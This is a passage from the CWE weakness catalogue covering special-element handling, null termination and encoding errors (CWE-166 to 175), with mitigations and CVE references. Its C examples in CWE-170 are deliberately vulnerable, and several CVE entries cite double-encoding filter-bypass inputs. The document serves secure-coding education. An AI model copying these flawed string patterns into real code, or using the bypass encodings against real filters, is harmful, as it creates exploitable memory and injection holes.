Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	1953

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Multiple Internal Special Element
Software Fault Patterns	SFP24		Tainted input to command

CWE-166: Improper Handling of Missing Special Element

Weakness ID : 166 **Status:** Draft
Structure : Simple

Abstraction : Base

Description

The software receives input from an upstream component, but it does not handle or incorrectly handles when an expected special element is missing.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1355
ChildOf		159	Improper Handling of Invalid Use of Special Elements	379

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	1849

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	

Potential Mitigations

Developers should anticipate that special elements will be removed in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2002-1362	Crash via message type without separator character *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1362*
CVE-2002-0729	Missing special character (separator) causes crash *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0729*
CVE-2002-1532	HTTP GET without \r\n\r\n CRLF sequences causes product to wait indefinitely and prevents other users from accessing it *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1532*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1874
MemberOf	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	1956

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Missing Special Element

CWE-167: Improper Handling of Additional Special Element

Weakness ID : 167 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software receives input from an upstream component, but it does not handle or incorrectly handles when an additional unexpected special element is provided.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1355
ChildOf	B	159	Improper Handling of Invalid Use of Special Elements	379

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	1849

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Developers should anticipate that extra special elements will be injected in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2000-0116	Extra "<" in front of SCRIPT tag. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0116*
CVE-2001-1157	Extra "<" in front of SCRIPT tag. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1157*
CVE-2002-2086	"<script" - probably a cleansing error *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-2086*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1874
MemberOf	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	1956

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Extra Special Element

CWE-168: Improper Handling of Inconsistent Special Elements

Weakness ID : 168 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software does not properly handle input in which an inconsistency exists between two or more special characters or reserved words.

Extended Description

An example of this problem would be if paired characters appear in the wrong order, or if the special characters are not properly nested.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1355
ChildOf		159	Improper Handling of Invalid Use of Special Elements	379

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	1849

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	
Access Control	Bypass Protection Mechanism	
Non-Repudiation	Hide Activities	

Potential Mitigations

Developers should anticipate that inconsistent special elements will be injected/manipulated in the input vectors of their software system. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related

fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	1956

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Inconsistent Special Elements

CWE-170: Improper Null Termination

Weakness ID : 170 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software does not terminate or incorrectly terminates a string or array with a null character or equivalent terminator.

Extended Description

Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a strncpy() function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	707	Improper Neutralization	1362
PeerOf	B	463	Deletion of Data Structure Sentinel	984
PeerOf	B	464	Addition of Data Structure Sentinel	986
CanAlsoBe	V	147	Improper Neutralization of Input Terminators	357
CanFollow	B	193	Off-by-one Error	449

Nature	Type	ID	Name	Page
CanFollow	P	682	Incorrect Calculation	1326
CanPrecede	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	280
CanPrecede	V	126	Buffer Over-read	305

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name	Page
ChildOf	C	20	Improper Input Validation	19

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Read Memory Execute Unauthorized Code or Commands *The case of an omitted null character is the most dangerous of the possible issues. This will almost certainly result in information disclosure, and possibly a buffer overflow condition, which may be exploited to execute arbitrary code.*	
Confidentiality Integrity Availability	DoS: Crash, Exit, or Restart Read Memory DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) *If a null character is omitted from a string, then most string-copying functions will read data until they locate a null character, even outside of the intended boundaries of the string. This could: cause a crash due to a segmentation fault cause sensitive adjacent memory to be copied and sent to an outsider trigger a buffer overflow when the copy is being written to a fixed-size buffer.*	
Integrity Availability	Modify Memory DoS: Crash, Exit, or Restart *Misplaced null characters may result in any number of security problems. The biggest issue is a subset of buffer overflow, and write-what-where conditions, where data corruption occurs from the writing of a null character over valid data, or even instructions. A randomly placed null character may put the system into an undefined state, and therefore make it prone to crashing. A misplaced null character may corrupt other data in memory.*	

Scope	Impact	Likelihood
Integrity Confidentiality Availability Access Control Other	Alter Execution Logic Execute Unauthorized Code or Commands *Should the null character corrupt the process flow, or affect a flag controlling access, it may lead to logical errors which allow for the execution of arbitrary code.*	

Potential Mitigations

Phase: Requirements

Use a language that is not susceptible to these issues. However, be careful of null byte interaction errors (CWE-626) with lower-level constructs that may be written in a language that is susceptible.

Phase: Implementation

Ensure that all string functions used are understood fully as to how they append null characters. Also, be wary of off-by-one errors when appending nulls to the end of strings.

Phase: Implementation

If performance constraints permit, special code can be added that validates null-termination of string buffers, this is a rather naive and error-prone solution.

Phase: Implementation

Switch to bounded string manipulation functions. Inspect buffer lengths involved in the buffer overrun trace reported with the defect.

Phase: Implementation

Add code that fills buffers with nulls (however, the length of buffers still needs to be inspected, to ensure that the non null-terminated string is not written at the physical end of the buffer).

Demonstrative Examples

Example 1:

The following code reads from cfgfile and copies the input into inputbuf using strcpy(). The code mistakenly assumes that inputbuf will always contain a NULL terminator.

Example Language: C *(bad)*

```
#define MAXLEN 1024
...
char *pathbuf[MAXLEN];
...
read(cfgfile,inputbuf,MAXLEN); //does not null terminate
strcpy(pathbuf,inputbuf); //requires null terminated input
...
```

The code above will behave correctly if the data read from cfgfile is null terminated on disk as expected. But if an attacker is able to modify this input so that it does not contain the expected NULL character, the call to strcpy() will continue copying from memory until it encounters an arbitrary NULL character. This will likely overflow the destination buffer and, if the attacker can control the contents of memory immediately following inputbuf, can leave the application susceptible to a buffer overflow attack.

Example 2:

In the following code, readlink() expands the name of a symbolic link stored in pathname and puts the absolute path into buf. The length of the resulting value is then calculated using strlen().

Example Language: C *(bad)*

```
char buf[MAXPATH];
...
readlink(pathname, buf, MAXPATH);
int length = strlen(buf);
...
```

The code above will not always behave correctly as readlink() does not append a NULL byte to buf. Readlink() will stop copying characters once the maximum size of buf has been reached to avoid overflowing the buffer, this will leave the value buf not NULL terminated. In this situation, strlen() will continue traversing memory until it encounters an arbitrary NULL character further on down the stack, resulting in a length value that is much larger than the size of string. Readlink() does return the number of bytes copied, but when this return value is the same as stated buf size (in this case MAXPATH), it is impossible to know whether the pathname is precisely that many bytes long, or whether readlink() has truncated the name to avoid overrunning the buffer. In testing, vulnerabilities like this one might not be caught because the unused contents of buf and the memory immediately following it may be NULL, thereby causing strlen() to appear as if it is behaving correctly.

Example 3:

While the following example is not exploitable, it provides a good example of how nulls can be omitted or misplaced, even when "safe" functions are used:

Example Language: C *(bad)*

```
#include <stdio.h>
#include <string.h>
int main() {
    char longString[] = "String signifying nothing";
    char shortString[16];
    strncpy(shortString, longString, 16);
    printf("The last character in shortString is: %c (%1$x)\n", shortString[15]);
    return (0);
}
```

The above code gives the following output: "The last character in shortString is: n (6e)". So, the shortString array does not end in a NULL character, even though the "safe" string function strncpy() was used. The reason is that strncpy() does not impliciitly add a NULL character at the end of the string when the source is equal in length or longer than the provided size.

Observed Examples

Reference	Description
CVE-2000-0312	Attacker does not null-terminate argv[] when invoking another program. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0312*
CVE-2003-0777	Interrupted step causes resultant lack of null termination. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0777*
CVE-2004-1072	Fault causes resultant lack of null termination, leading to buffer expansion. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1072*
CVE-2001-1389	Multiple vulnerabilities related to improper null termination. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1389*
CVE-2003-0143	Product does not null terminate a message buffer after snprintf-like call, leading to overflow. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0143*
CVE-2009-2523	Chain: product does not handle when an input string is not NULL terminated (CWE-170), leading to buffer over-read (CWE-125) or heap-based buffer overflow (CWE-122). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2523*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	1879
MemberOf	C	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	734	1885
MemberOf	C	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	1891
MemberOf	C	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	1916
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	973	SFP Secondary Cluster: Improper NULL Termination	888	1946
MemberOf	C	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)	1154	1997
MemberOf	C	1171	SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)	1154	2003

Notes

Relationship

Factors: this is usually resultant from other weaknesses such as off-by-one errors, but it can be primary to boundary condition violations such as buffer overflows. In buffer overflows, it can act as an expander for assumed-immutable data.

Relationship

Overlaps missing input terminator.

Applicable Platform

Conceptually, this does not just apply to the C language; any language or representation that involves a terminator could have this type of problem.

Maintenance

As currently described, this entry is more like a category than a weakness.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Improper Null Termination
7 Pernicious Kingdoms			String Termination Error
CLASP			Miscalculated null termination
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
CERT C Secure Coding	POS30-C	CWE More Abstract	Use the readlink() function properly
CERT C Secure Coding	STR03-C		Do not inadvertently truncate a null-terminated byte string
CERT C Secure Coding	STR32-C	Exact	Do not pass a non-null-terminated character sequence to a library function that expects a string
Software Fault Patterns	SFP11		Improper Null Termination

CWE-172: Encoding Error

Weakness ID : 172 **Status:** Draft
Structure : Simple

Abstraction : Class

Description

The software does not properly encode or decode the data, resulting in unexpected values.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	707	Improper Neutralization	1362
ParentOf	V	173	Improper Handling of Alternate Encoding	401
ParentOf	V	174	Double Decoding of the Same Data	403
ParentOf	V	175	Improper Handling of Mixed Encoding	405
ParentOf	V	176	Improper Handling of Unicode Encoding	407
ParentOf	V	177	Improper Handling of URL Encoding (Hex Encoding)	409
CanPrecede	B	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	31
CanPrecede	B	41	Improper Resolution of Path Equivalence	81

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space,

wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	1956

Notes

Relationship

Partially overlaps path traversal and equivalence weaknesses.

Maintenance

This is more like a category than a weakness.

Maintenance

Many other types of encodings should be listed in this category.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Encoding Error

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
52	Embedding NULL Bytes
53	Postfix, Null Terminate, and Backslash
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
71	Using Unicode Encoding to Bypass Validation Logic
72	URL Encoding
78	Using Escaped Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic
120	Double Encoding
267	Leverage Alternate Encoding

CWE-173: Improper Handling of Alternate Encoding

Weakness ID : 173 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software does not properly handle when an input uses an alternate encoding that is valid for the control sphere to which the input is being sent.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	172	Encoding Error	399
CanPrecede	V	289	Authentication Bypass by Alternate Name	638

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

Potential Mitigations

Phase: Architecture and Design

Strategy = Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	1956

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Alternate Encoding

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
3	Using Leading 'Ghost' Character Sequences to Bypass Input Filters
4	Using Alternative IP Address Encodings
52	Embedding NULL Bytes
53	Postfix, Null Terminate, and Backslash
64	Using Slashes and URL Encoding Combined to Bypass Validation Logic
71	Using Unicode Encoding to Bypass Validation Logic
72	URL Encoding
78	Using Escaped Slashes in Alternate Encoding
79	Using Slashes in Alternate Encoding
80	Using UTF-8 Encoding to Bypass Validation Logic
120	Double Encoding
267	Leverage Alternate Encoding

CWE-174: Double Decoding of the Same Data

Weakness ID : 174 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software decodes the same input twice, which can limit the effectiveness of any protection mechanism that occurs in between the decoding operations.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	172	Encoding Error	399
ChildOf	B	675	Duplicate Operations on Resource	1316

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control Confidentiality Availability Integrity Other	Bypass Protection Mechanism Execute Unauthorized Code or Commands Varies by Context	

Potential Mitigations

Phase: Architecture and Design

Strategy = Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Phase: Implementation

Strategy = Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Observed Examples

Reference	Description
CVE-2004-1315	Forum software improperly URL decodes the highlight parameter when extracting text to highlight, which allows remote attackers to execute arbitrary

Reference	Description
	PHP code by double-encoding the highlight value so that special characters are inserted into the result. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1315*
CVE-2004-1939	XSS protection mechanism attempts to remove "/" that could be used to close tags, but it can be bypassed using double encoded slashes (%252F) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1939*
CVE-2001-0333	Directory traversal using double encoding. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0333*
CVE-2004-1938	"%2527" (double-encoded single quote) used in SQL injection. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1938*
CVE-2005-1945	Double hex-encoded data. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1945*
CVE-2005-0054	Browser executes HTML at higher privileges via URL with hostnames that are double hex encoded, which are decoded twice to generate a malicious hostname. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0054*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	992	SFP Secondary Cluster: Faulty Input Transformation	888	1956

Notes

Research Gap

Probably under-studied.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Double Encoding

CWE-175: Improper Handling of Mixed Encoding

Weakness ID : 175 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The software does not properly handle when the same input uses several different (mixed) encodings.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		172	Encoding Error	399

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Potential Mitigations

Phase: Architecture and Design

Strategy = Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy = Output Encoding

